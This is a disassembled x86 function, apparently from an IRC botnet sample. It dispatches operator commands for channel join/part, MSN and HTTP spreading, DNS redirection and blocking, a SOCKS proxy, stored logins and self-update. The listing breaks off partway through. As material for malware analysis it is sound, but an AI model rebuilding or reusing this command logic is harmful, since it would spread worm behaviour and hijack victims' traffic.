Function at 0x29cbbb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x908
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x907]
push 0
push ecx
mov byte [ebp - 0x908], 0
call sub.MSVCRT.dll_memset
mov eax, 1
add esp, 0x18
cmp dword [ebp + 0x14], eax
jl 0x29cd105
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov edx, dword [esi + edi*4]
push 0x29d591c
push edx
call ebx
test eax, eax
jne 0x29cbc4c
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
push 0x2a0af40
push 0x2a0aac0
push str.9fddc8d5
push 0x29d58bc
push str._v__s__c__s__h__s__p__S__
push eax
push ecx
call fcn.029cba00
add esp, 0x1c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4]
push 0x29d5920
push edx
call ebx
test eax, eax
jne 0x29cbd15
cmp dword [ebp + 0x14], 1
jle 0x29cbc84
mov eax, dword [esi + edi*4 + 4]
push 0x29d2d04
push eax
call ebx
test eax, eax
jne 0x29cbca8
mov ecx, dword [0x2a0bb0c]
cmp byte [ecx], 0x6e
jne 0x29cd0fd
mov edx, dword [ebp + 8]
push 0
push str.reconnecting
push str.QUIT_:_s_r_n
push edx
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4 + 4]
push 0x29d2cf0
push eax
call ebx
test eax, eax
jne 0x29cd0fd
mov ecx, dword [0x2a0bb18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 2
je 0x29cd0fd
mov edx, dword [0x2a0bb18]
mov eax, dword [0x2a0a8ac]
push edx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp + 8]
push 0
push str.reconnecting
push str.QUIT_:_s_r_n
push ecx
mov dword [0x2a0bb18], 0
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4]
push 0x29d5904
push eax
call ebx
test eax, eax
jne 0x29cbd47
mov ecx, dword [ebp + 8]
push eax
push str.exiting
push str.QUIT_:_s_r_n
push ecx
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 0xfffffffd
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4]
push str.KOSOMAKYAD
push edx
call ebx
test eax, eax
jne 0x29cbd79
push eax
mov eax, dword [ebp + 8]
push str.removing
push str.QUIT_:_s_r_n
push eax
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 0xfffffffc
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push 0x29d592c
push ecx
call ebx
test eax, eax
jne 0x29cbf26
cmp dword [ebp + 0x14], 1
jle 0x29cbedb
mov edx, dword [esi + edi*4 + 4]
push 0x29d2cd8
push edx
call ebx
test eax, eax
jne 0x29cbdf2
push 0x29d2cd4
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0x2a0bb1c]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push 0
push eax
push str.JOIN__s__s_r_n
mov ecx, dword [ebp + 8]
push ecx
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4 + 4]
push 0x29d2d04
push edx
call ebx
test eax, eax
jne 0x29cbe44
mov eax, dword [0x2a0bb0c]
cmp byte [eax], 0x6e
jne 0x29cbe44
push str.new
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
push 0
lea edx, [ebp - 0x108]
push edx
push str.JOIN__s__s_r_n
push eax
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4 + 4]
push 0x29d2cc8
push ecx
call ebx
test eax, eax
jne 0x29cbeab
mov edx, dword [0x2a0bb0c]
push 0x29d2cc4
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
lea eax, [ebp - 0x108]
je 0x29cbe79
push str.admin
jmp 0x29cbe7e
push str.user
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 8]
push 0
lea ecx, [ebp - 0x108]
push ecx
push str.JOIN__s__s_r_n
push edx
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4 + 4]
push 0x29d2cb0
push eax
call ebx
test eax, eax
jne 0x29cd0fd
push 0x29d2cd4
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x29d58bc
jmp 0x29cbdbf
push 0x29d2cd4
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x2a0bb18]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
push 0
lea edx, [ebp - 0x108]
push edx
push str.JOIN__s__s_r_n
push eax
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push 0x29d5930
push ecx
call ebx
test eax, eax
jne 0x29cc0c0
cmp dword [ebp + 0x14], 1
jle 0x29cc075
mov edx, dword [esi + edi*4 + 4]
push 0x29d2cd8
push edx
call ebx
test eax, eax
jne 0x29cbf8c
push 0x29d2cd4
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0x2a0bb1c]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0x108]
push eax
push str.PART__s_r_n
jmp 0x29cbdda
mov edx, dword [esi + edi*4 + 4]
push 0x29d2d04
push edx
call ebx
test eax, eax
jne 0x29cbfde
mov eax, dword [0x2a0bb0c]
cmp byte [eax], 0x6e
jne 0x29cbfde
push str.new
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
push 0
lea edx, [ebp - 0x108]
push edx
push str.PART__s_r_n
push eax
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4 + 4]
push 0x29d2cc8
push ecx
call ebx
test eax, eax
jne 0x29cc045
mov edx, dword [0x2a0bb0c]
push 0x29d2cc4
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
lea eax, [ebp - 0x108]
je 0x29cc013
push str.admin
jmp 0x29cc018
push str.user
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 8]
push 0
lea ecx, [ebp - 0x108]
push ecx
push str.PART__s_r_n
push edx
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4 + 4]
push 0x29d2cb0
push eax
call ebx
test eax, eax
jne 0x29cd0fd
push 0x29d2cd4
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x29d58bc
jmp 0x29cbf6c
push 0x29d2cd4
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x2a0bb18]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
push 0
lea edx, [ebp - 0x108]
push edx
push str.PART__s_r_n
push eax
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push str.stop
push ecx
call ebx
test eax, eax
jne 0x29cc0e0
pop edi
mov eax, 1
pop esi
mov dword [0x29d5d24], eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4]
push str.stats
push edx
call ebx
test eax, eax
jne 0x29cc1cf
cmp dword [ebp + 0x14], 1
jle 0x29cc172
mov eax, dword [esi + edi*4 + 4]
push 0x29d2cac
push eax
call ebx
test eax, eax
jne 0x29cc12b
mov ecx, dword [0x2a0b6ac]
mov edx, dword [0x2a0b6b4]
mov esi, dword [0x2a0b6b0]
lea eax, [ecx + edx]
add eax, esi
push eax
push esi
push edx
push ecx
push str._usb__d__msn__d__http__d__total__d__
jmp 0x29cc15b
mov eax, dword [esi + edi*4 + 4]
push 0x29d2ca8
push eax
call ebx
test eax, eax
jne 0x29cc172
mov ecx, dword [0x2a0b6c0]
mov edx, dword [0x2a0b6bc]
mov esi, dword [0x2a0b6b8]
lea eax, [ecx + edx]
add eax, esi
push eax
push ecx
push edx
push esi
push str._ftp__d__pop__d__http__d__total__d__
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 8]
push ecx
push edx
call fcn.029cba00
add esp, 0x1c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x2a0b6ac]
mov ecx, dword [0x2a0b6b4]
mov edx, dword [0x2a0b6b0]
mov edi, dword [ebp + 8]
lea esi, [eax + ecx]
add esi, edx
push esi
mov esi, dword [ebp + 0x18]
push edx
push ecx
push eax
push str._usb__d__msn__d__http__d__total__d__
push esi
push edi
call fcn.029cba00
mov ecx, dword [0x2a0b6c0]
mov edx, dword [0x2a0b6bc]
mov ebx, dword [0x2a0b6b8]
lea eax, [ecx + edx]
add eax, ebx
push eax
push ecx
push edx
push ebx
push str._ftp__d__pop__d__http__d__total__d__
push esi
push edi
call fcn.029cba00
add esp, 0x38
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4]
push str.logins
push eax
call ebx
test eax, eax
jne 0x29cc2ff
push 0x2a0a880
call fcn.029c32c0
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
jbe 0x29cd0fd
cmp dword [ebp + 0x14], 1
jle 0x29cc29e
mov ecx, dword [esi + edi*4 + 4]
push 0x29d2ca4
push ecx
call ebx
test eax, eax
jne 0x29cc27a
push 0x2a0a880
call fcn.029c32a0
add esp, 4
test eax, eax
je 0x29cc25a
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x29cc230
push 0x2a0a880
call fcn.029c3240
mov edx, dword [0x2a0a8ac]
add esp, 4
push eax
push 0
push edx
call esi
push 0x2a0a880
call fcn.029c32a0
add esp, 4
test eax, eax
jne 0x29cc230
mov eax, dword [ebp - 4]
push eax
push str._Logins_:_Cleared__d_logins
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 8]
push ecx
push edx
call fcn.029cba00
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4 + 4]
mov ecx, dword [ebp + 0x18]
push eax
push ecx
push 0x29d2c80
lea edx, [ebp - 0x908]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
jmp 0x29cc2bb
mov eax, dword [ebp + 0x18]
push eax
push 0x29d13ec
lea ecx, [ebp - 0x908]
push 0x7ff
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
lea edx, [ebp - 0x908]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
mov eax, dword [0x2a0a8ac]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x29cd0fd
lea ecx, [ebp - 0x908]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0x29ce4b0
jmp 0x29cd0ec
mov edx, dword [esi + edi*4]
push 0x29d5990
push edx
call ebx
test eax, eax
jne 0x29cc33c
call fcn.029c8620
test eax, eax
je 0x29cd0fd
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
push str._RSOCK4_:_Stopped_rsock4
push eax
push ecx
call fcn.029cba00
add esp, 0xc
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4]
push str.speed
push edx
call ebx
test eax, eax
jne 0x29cc3bf
mov eax, dword [ebp + 0x18]
push eax
push 0x2a0b6e0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp + 0x14], 1
jle 0x29cc3af
mov ecx, dword [esi + edi*4 + 4]
push ecx
call sub.MSVCRT.dll_atoi
add esp, 4
test eax, eax
je 0x29cc3af
push 0x200
call fcn.029c2460
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x29cd0fd
mov edx, dword [esi + edi*4 + 4]
push edx
push 0x29d13ec
push 0x1ff
push ebx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0
push 0
push ebx
push 0x29ce7e0
jmp 0x29cd0ec
push 0
push 0
push 0
push 0x29ce7e0
jmp 0x29cd0ec
cmp dword [ebp + 0x14], 2
jl 0x29cd0fd
mov eax, dword [esi + edi*4]
push 0x29d5914
push eax
call ebx
test eax, eax
jne 0x29cc3fa
mov ecx, dword [esi + edi*4 + 4]
push 0x29d1a30
push ecx
call ebx
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
mov dword [0x2a0b6d8], eax
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4]
push str.jps
push edx
call ebx
test eax, eax
jne 0x29cc4d9
cmp dword [ebp + 0x14], 3
jle 0x29cc4b5
mov eax, dword [esi + edi*4 + 4]
push 0x29d2ca4
push eax
call ebx
test eax, eax
jne 0x29cc463
mov ecx, dword [0x2a0bb18]
mov eax, dword [esi + edi*4 + 8]
push ecx
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x29cc463
mov edx, dword [esi + edi*4 + 0xc]
mov eax, dword [ebp + 8]
push 0
push edx
push str.JOIN__s__s_r_n
push eax
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4 + 4]
push 0x29d2cb0
push ecx
call ebx
test eax, eax
jne 0x29cc489
mov eax, dword [esi + edi*4 + 8]
push 0x29d58bc
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x29cc43f
mov ecx, dword [esi + edi*4 + 4]
push 0x29d2d04
push ecx
call ebx
test eax, eax
jne 0x29cd0fd
mov edx, dword [0x2a0bb0c]
cmp byte [edx], 0x6e
jne 0x29cd0fd
mov eax, dword [esi + edi*4 + 0xc]
jmp 0x29cbdd2
mov edx, dword [esi + edi*4 + 4]
mov eax, dword [ebp + 8]
push 0
push edx
push str.JOIN__s__s_r_n
push eax
call fcn.029cb990
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push 0x29d5928
push ecx
call ebx
test eax, eax
jne 0x29cc58c
cmp dword [ebp + 0x14], 3
jle 0x29cc56a
mov edx, dword [esi + edi*4 + 4]
push 0x29d2ca4
push edx
call ebx
test eax, eax
jne 0x29cc51a
mov ecx, dword [0x2a0bb18]
mov eax, dword [esi + edi*4 + 8]
push ecx
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x29cc548
mov ecx, dword [esi + edi*4 + 4]
push 0x29d2cb0
push ecx
call ebx
test eax, eax
jne 0x29cd0fd
mov eax, dword [esi + edi*4 + 8]
push 0x29d58bc
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x29cd0fd
mov edx, dword [esi + edi*4 + 0xc]
mov eax, dword [ebp + 8]
push edx
push str.PART__s_r_n
push eax
call fcn.029cb990
add esp, 0xc
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4 + 4]
mov edx, dword [ebp + 8]
push ecx
push str.PART__s_r_n
push edx
call fcn.029cb990
add esp, 0xc
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4]
push str.NAZEL
push eax
call ebx
test eax, eax
jne 0x29cc6a7
cmp dword [ebp + 0x14], 2
jle 0x29cc5dd
mov ecx, dword [esi + edi*4 + 8]
push 0x29d2c7c
push ecx
call ebx
test eax, eax
jne 0x29cc5bf
mov dword [0x2a0b6c8], 1
mov edx, dword [esi + edi*4 + 8]
push 0x29d2d04
push edx
call ebx
test eax, eax
jne 0x29cc5dd
push eax
push str.pdef
call fcn.029c7790
add esp, 8
mov eax, dword [esi + edi*4 + 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0x2a0a8ac]
add eax, 0x200
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x29cd0fd
mov edx, dword [esi + edi*4 + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp + 0x14], 2
jle 0x29cc686
mov ecx, dword [esi + edi*4 + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 3
jl 0x29cc686
mov edx, dword [ebp - 4]
push 0x29d29ec
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esi + edi*4 + 8]
mov ecx, dword [ebp - 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp + 0x14], 3
jle 0x29cc686
mov edx, dword [esi + edi*4 + 0xc]
push 0x29d2c7c
push edx
call ebx
test eax, eax
jne 0x29cc668
mov dword [0x2a0b6c8], 1
mov eax, dword [esi + edi*4 + 0xc]
push 0x29d2d04
push eax
call ebx
test eax, eax
jne 0x29cc686
push eax
push str.pdef
call fcn.029c7790
add esp, 8
mov ecx, dword [ebp + 0x18]
push ecx
push 0x2a0b6e0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 4]
push 0
push 0
push edx
push 0x29cddb0
jmp 0x29cd0ec
mov eax, dword [esi + edi*4]
push 0x29d5934
push eax
call ebx
test eax, eax
jne 0x29cc7e4
mov ebx, 2
cmp dword [ebp + 0x14], ebx
jle 0x29cc731
mov ecx, dword [esi + edi*4 + 4]
push ecx
lea edx, [ebp - 0x908]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp + 0x14], ebx
jle 0x29cc743
lea esi, [esi + edi*4 + 8]
nop
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x908]
push eax
call edi
mov ecx, dword [esi]
push ecx
mov dword [ebp - 4], eax
call edi
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 1]
cmp edx, 0x200
jg 0x29cc743
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x29d2c78
lea eax, [ebp - 0x908]
push eax
call edi
mov ecx, dword [esi]
push ecx
lea edx, [ebp - 0x908]
push edx
call edi
inc ebx
add esi, 4
cmp ebx, dword [ebp + 0x14]
jl 0x29cc6e0
jmp 0x29cc743
mov eax, dword [esi + edi*4 + 4]
push eax
lea ecx, [ebp - 0x908]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [ebp - 0x908]
push edx
call edi
cmp eax, 0x400
jge 0x29cd0fd
lea eax, [ebp - 0x908]
push eax
call fcn.029ca800
lea ecx, [ebp - 0x908]
push ecx
call fcn.029ca790
push 0
push 0x400
push 6
push str.msnmsg
push 0x29f7e38
call fcn.029c49f0
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x29cd0fd
push 0x400
push 0
push esi
call fcn.029c35f0
add esp, 0xc
lea edx, [ebp - 0x908]
push edx
call edi
push eax
lea eax, [ebp - 0x908]
push eax
push esi
call fcn.029c3640
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x908]
push ecx
push str._MSN_:_Updated_MSN_spread_message_to___s_
push edx
push eax
call fcn.029cba00
add esp, 0x1c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push str.msn.int
push ecx
call ebx
test eax, eax
jne 0x29cc88c
mov edx, dword [esi + edi*4 + 4]
push edx
call fcn.029ca790
mov eax, dword [esi + edi*4 + 4]
push eax
call sub.MSVCRT.dll_atoi
add esp, 8
test eax, eax
jle 0x29cd0fd
mov ecx, dword [esi + edi*4 + 4]
push ecx
call sub.MSVCRT.dll_atoi
push 0
push 0x20
push 6
push str.msnint
push 0x29f7e38
mov dword [0x29d58e8], eax
call fcn.029c49f0
mov ebx, eax
add esp, 0x18
test ebx, ebx
je 0x29cd0fd
push 0x20
push 0
push ebx
call fcn.029c35f0
mov edx, dword [esi + edi*4 + 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esi + edi*4 + 4]
push eax
push ebx
call fcn.029c3640
mov ecx, dword [esi + edi*4 + 4]
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp + 8]
push ecx
push str._MSN_:_Updated_MSN_spread_interval_to___s_
push edx
push eax
call fcn.029cba00
add esp, 0x1c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push str.http.set
push ecx
call ebx
test eax, eax
jne 0x29cc97c
mov ebx, 2
cmp dword [ebp + 0x14], ebx
jle 0x29cc920
mov edx, dword [esi + edi*4 + 4]
push edx
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp + 0x14], ebx
jle 0x29cc932
lea esi, [esi + edi*4 + 8]
jmp 0x29cc8d0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x908]
push ecx
call edi
mov edx, dword [esi]
push edx
mov dword [ebp - 4], eax
call edi
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 1]
cmp eax, 0x200
jg 0x29cc932
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x29d2c78
lea ecx, [ebp - 0x908]
push ecx
call edi
mov edx, dword [esi]
push edx
lea eax, [ebp - 0x908]
push eax
call edi
inc ebx
add esi, 4
cmp ebx, dword [ebp + 0x14]
jl 0x29cc8d0
jmp 0x29cc932
mov ecx, dword [esi + edi*4 + 4]
push ecx
lea edx, [ebp - 0x908]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x908]
push eax
call fcn.029ca800
lea ecx, [ebp - 0x908]
push ecx
call fcn.029ca790
push 0x29d2b00
lea edx, [ebp - 0x908]
push str.http
push edx
call fcn.029c7500
add esp, 0x14
test eax, eax
je 0x29cd0fd
lea eax, [ebp - 0x908]
push eax
push str._HTTP_:_Updated_HTTP_spread_message_to___s_
jmp 0x29cc263
mov eax, dword [esi + edi*4]
push str.http.int
push eax
call ebx
test eax, eax
jne 0x29cc9f5
mov ecx, dword [esi + edi*4 + 4]
lea esi, [esi + edi*4 + 4]
push ecx
call fcn.029ca790
mov edx, dword [esi]
push edx
call sub.MSVCRT.dll_atoi
add esp, 8
test eax, eax
jle 0x29cd0fd
mov eax, dword [esi]
push eax
call sub.MSVCRT.dll_atoi
push 0x29d2b0c
mov dword [0x29d58f0], eax
mov ecx, dword [esi]
push str.http
push ecx
call fcn.029c7500
add esp, 0x10
test eax, eax
je 0x29cd0fd
mov edx, dword [esi]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
push edx
push str._HTTP_:_Updated_HTTP_spread_interval_to___s_
push eax
push ecx
call fcn.029cba00
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4]
push str.http.inj
push edx
call ebx
test eax, eax
jne 0x29cca6e
mov eax, dword [esi + edi*4 + 4]
push 0x29d1a30
push eax
call ebx
test eax, eax
jne 0x29cca41
push 1
push str.httpi
call fcn.029c7790
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 8]
push str.enabled
push str._HTTP_:_Injected_value_is_now__s.
push ecx
push edx
call fcn.029cba00
add esp, 0x18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push str.httpi
call fcn.029c7790
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
push str.disabled
push str._HTTP_:_Injected_value_is_now__s.
push eax
push ecx
call fcn.029cba00
add esp, 0x18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + edi*4]
push str.mdns
push edx
call ebx
test eax, eax
jne 0x29ccbab
mov eax, dword [esi + edi*4 + 4]
push 0x29d13d8
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x29cd0fd
mov eax, dword [esi + edi*4 + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call ebx
cmp eax, 7
jle 0x29ccb08
mov ecx, dword [esi + edi*4 + 4]
mov eax, ecx
cmp dword [eax], 0x70747468
jne 0x29ccb08
add eax, 4
cmp byte [eax], 0x3a
jne 0x29ccb08
mov dl, 0x2f
cmp byte [eax + 1], dl
jne 0x29ccb08
cmp byte [eax + 2], dl
jne 0x29ccb08
push ecx
call ebx
mov ecx, dword [0x2a0a8ac]
inc eax
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x29cd0fd
mov edx, dword [esi + edi*4 + 4]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push ebx
push 0x29ce590
jmp 0x29cd0ec
cmp dword [ebp + 0x14], 2
jle 0x29ccb6c
mov eax, dword [esi + edi*4 + 8]
push 0x29d13d8
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x29cd0fd
mov eax, dword [esi + edi*4 + 4]
mov ecx, dword [esi + edi*4 + 8]
push eax
push 0x29d13ec
push str.bdns
push ecx
call fcn.029c7500
call fcn.029ca970
mov edx, dword [esi + edi*4 + 8]
mov eax, dword [esi + edi*4 + 4]
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 8]
push eax
push str._DNS_:_Redirecting___s__to___s_
push ecx
push edx
call fcn.029cba00
add esp, 0x24
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + edi*4 + 4]
push eax
push 0x29d13ec
push str.bdns
push str.block
call fcn.029c7500
call fcn.029ca970
mov ecx, dword [esi + edi*4 + 4]
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp + 8]
push ecx
push str._DNS_:_Blocked___s_
push edx
push eax
call fcn.029cba00
add esp, 0x20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x14], 3
jl 0x29cd0fd
mov ecx, dword [esi + edi*4]
push 0x29d5918
push ecx
call ebx
test eax, eax
jne 0x29ccc20
mov edx, dword [esi + edi*4 + 8]
push 0x29d2c40
push edx
call ebx
neg eax
sbb eax, eax
inc eax
push eax
mov eax, dword [esi + edi*4 + 4]
lea esi, [esi + edi*4 + 4]
push eax
call fcn.029ca690
mov ecx, dword [esi]
mov edx, dword [ebp + 0x18]
add esp, 8
test eax, eax
mov eax, dword [ebp + 8]
push ecx
je 0x29ccc0a
push str._Visit_:_Visited___s_
push edx
push eax
call fcn.029cba00
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str._Visit_:_Error_visitng___s_
push edx
push eax
call fcn.029cba00
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + edi*4]
push str.NAZELup
push ecx
call ebx
test eax, eax
jne 0x29ccd0e
cmp byte [0x2a0aac0], 0x45
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
jne 0x29ccc54
mov al, 0x52
cmp byte [0x2a0aac1], al
jne 0x29ccc54
cmp byte [0x2a0aac2], al
je 0x29ccc76
mov edx, dword [esi + edi*4 + 8]
push edx
call ebx
push eax
mov eax, dword [esi + edi*4 + 8]
push eax
push 0x2a0aac0
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
je 0x29cd0fd
cmp dword [ebp + 0x14], 3
mov edx, dword [esi + edi*4 + 8]
mov eax, dword [esi + edi*4 + 4]
jle 0x29ccca6
mov ecx, dword [esi + edi*4 + 0xc]
push ecx
push edx
push eax
push str._s_s_s
lea ecx, [ebp - 0x908]
push 0x7ff
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x29cccc1
push edx
push eax
push 0x29d2c80
lea ecx, [ebp - 0x908]
push 0x7ff
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
lea edx, [ebp - 0x908]
push edx
call ebx
inc eax
push eax
mov eax, dword [0x2a0a8ac]
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x29cd0fd
